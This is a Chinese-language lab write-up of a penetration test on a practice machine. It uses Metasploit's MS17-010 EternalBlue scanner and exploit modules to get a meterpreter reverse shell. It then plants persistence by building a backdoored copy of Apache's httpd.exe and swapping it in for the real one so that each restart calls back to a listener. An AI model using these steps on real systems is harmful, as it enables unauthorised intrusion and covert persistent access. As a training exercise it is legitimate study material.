MSTables3靶机渗透测试（3）- MS17-010永恒之蓝

• 配置防火墙将相应的“阻塞端口安全策略”-- Disabled

• 查看全部关于ms17-010模块

msf6 > search ms17-010

• 对目标进行扫描

msf6 auxiliary(admin/smb/ms17_010_command) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.118.4
rhosts => 192.168.118.4
msf6 auxiliary(admin/smb/ms17_010_command) > show options

扫描完成

msf6 auxiliary(admin/smb/ms17_010_command) > run

• 再尝试另一个扫描模块

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.118.4
rhosts => 192.168.118.4
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

• 对目标主机实施攻击

msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.118.4
rhosts => 192.168.118.4
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

成功。

• 留后门

meterpreter > ps -S httpd.exe

先杀死进程，再将其下载，然后把会话退到后台。

• 制作后门文件

msf6 exploit(windows/smb/ms17_010_eternalblue) > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 192.168.118.1
lhost => 192.168.118.1
msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-door.exe
[*] Writing 29184 bytes to /root/httpd-door.exe...

• 启动一个监听，监听后门的反向连接，并使用 expolit-j 放到后台。

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp‘
msf6 exploit(multi/handler) > set lhost 192.168.118.1
lhost => 192.168.118.1
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.118.1:4444

• 切回之前的 meterpreter session，上传后门文件并重命名。

meterpreter > cd c:\\wamp\\bin\\apache\\apache2.2.21\\bin\\
meterpreter > pwd
c:\wamp\bin\apache\apache2.2.21\bin
meterpreter > mv httpd.exe httpd.exe.bak
meterpreter > upload /root/httpd-door.exe
[*] uploading  : /root/httpd-door.exe -> httpd-door.exe

[*] uploaded   : /root/httpd-door.exe -> httpd-door.exe
meterpreter > mv httpd-door.exe httpd.exe

• 再留个后门

exploit/multi/handler 保持监听状态，每当对端的“httpd.exe”
重启，这边就会启动会话。
